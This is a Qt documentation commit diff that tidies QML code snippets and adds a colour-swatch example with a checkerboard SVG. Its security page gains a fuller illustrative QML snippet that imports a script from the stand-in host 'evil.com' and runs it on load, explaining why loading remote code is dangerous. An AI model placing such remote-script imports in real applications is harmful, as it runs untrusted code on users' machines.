diff options
-rw-r--r-- | doc/src/declarative/basictypes.qdoc | 19 | ||||
-rw-r--r-- | doc/src/declarative/qdeclarativesecurity.qdoc | 6 | ||||
-rw-r--r-- | doc/src/declarative/qml-intro.qdoc | 14 | ||||
-rw-r--r-- | doc/src/images/declarative-colors.png | bin | 0 -> 4993 bytes | |||
-rw-r--r-- | doc/src/snippets/declarative/colors.qml | 125 | ||||
-rw-r--r-- | doc/src/snippets/declarative/pics/checker.svg | 17 |
6 files changed, 163 insertions, 18 deletions
diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc index 463e4a3..289a7a0 100644 --- a/doc/src/declarative/basictypes.qdoc +++ b/doc/src/declarative/basictypes.qdoc @@ -174,13 +174,10 @@ transparent blue to a quad of \c "#800000FF". Example: - \qml - Rectangle { color: "steelblue" } - Rectangle { color: "transparent" } - Rectangle { color: "#FF0000" } - Rectangle { color: "#800000FF" } - Rectangle { color: "#00000000" } // ARGB fully transparent - \endqml + \div{float-right} + \inlineimage declarative-colors.png + \enddiv + \snippet doc/src/snippets/declarative/colors.qml colors Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: @@ -361,9 +358,11 @@ Actions are used like this: \qml - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } + Item { + MouseArea { onClicked: myaction.trigger() } + State { name: "enabled"; when: myaction.enabled == true } + Text { text: someaction.text } + } \endqml \sa {QML Basic Types} diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc index 8aa031d..482043c 100644 --- a/doc/src/declarative/qdeclarativesecurity.qdoc +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen For example, this QML content: \qml +import QtQuick 1.0 import "http://evil.com/evil.js" as Evil -... Evil.doEvil() ... + +Component { + onLoaded: Evil.doEvil() +} \endqml is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc index 563dc3b..7b2d999 100644 --- a/doc/src/declarative/qml-intro.qdoc +++ b/doc/src/declarative/qml-intro.qdoc @@ -247,13 +247,17 @@ referencing these properties from another object we use the property directly, instead of saying: \qml -myRectangle.anchors.top // Wrong +Item { + anchors.bottom: myRectangle.anchors.top // Wrong +} \endqml we use \qml -myRectangle.top // Correct +Item { + anchors.bottom: myRectangle.top // Correct +} \endqml @@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise. Rotation of text was also suggested. It could also be useful to scale the text. We can do both. The \l {Item::transform}{transform} property is a \e list of \l Transform elements, so using the list syntax - -\qml -myList: [ listElement1, listElement2, ... } ] -\endqml - +\c{myList: [ listElement1, listElement2, ... } ]} we can produce a list of transformations. The text will be rotated by 45 degrees anti-clockwise and scaled diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png Binary files differnew file mode 100644 index 0000000..f2eacd8 --- /dev/null +++ b/doc/src/images/declarative-colors.png diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml new file mode 100644 index 0000000..c670eca --- /dev/null +++ b/doc/src/snippets/declarative/colors.qml @@ -0,0 +1,125 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + width: 160; height: 250 + + Image { + width: 160; height: 200 + source: "pics/checker.svg" + fillMode: Image.Tile + + //! [colors] + Rectangle { + color: "steelblue" + width: 40; height: 40 + } + Rectangle { + color: "transparent" + y: 40; width: 40; height: 40 + } + Rectangle { + color: "#FF0000" + y: 80; width: 40; height: 40 + } + Rectangle { + color: "#800000FF" + y: 120; width: 40; height: 40 + } + Rectangle { + color: "#00000000" // ARGB fully transparent + y: 160 + width: 40; height: 40 + } + //! [colors] + + Rectangle { + x: 40 + width: 120; height: 200 + + Text { + font.pixelSize: 16 + text: "steelblue" + x: 10; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "transparent" + x: 10; y: 40; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "FF0000" + x: 10; y: 80; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "800000FF" + x: 10; y: 120; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "00000000" + x: 10; y: 160; height: 40 + verticalAlignment: Text.AlignVCenter + } + } + } + + Image { + y: 210 + width: 40; height: 40 + source: "pics/checker.svg" + fillMode: Image.Tile + } + + Text { + font.pixelSize: 16 + text: "(background)" + x: 50; y: 210; height: 40 + verticalAlignment: Text.AlignVCenter + } +} diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg new file mode 100644 index 0000000..374d89d --- /dev/null +++ b/doc/src/snippets/declarative/pics/checker.svg @@ -0,0 +1,17 @@ +<?xml version="1.0" standalone="no"?> +<svg width="10px" height="10px" viewBox="0 0 10px 10px" + xmlns="http://www.w3.org/2000/svg" + xmlns:xlink="http://www.w3.org/1999/xlink/" + baseProfile="tiny" version="1.2"> + <title>Checker</title> + <desc>A checkerboard pattern to use as a background.</desc> + <g fill="#e0e0e0" stroke="none" > + <rect x="0" y="0" width="10px" height="10px" /> + </g> + <g fill="#404040" stroke="none" > + <rect x="0" y="0" width="5px" height="5px" /> + </g> + <g fill="#404040" stroke="none" > + <rect x="5px" y="5px" width="5px" height="5px" /> + </g> +</svg> |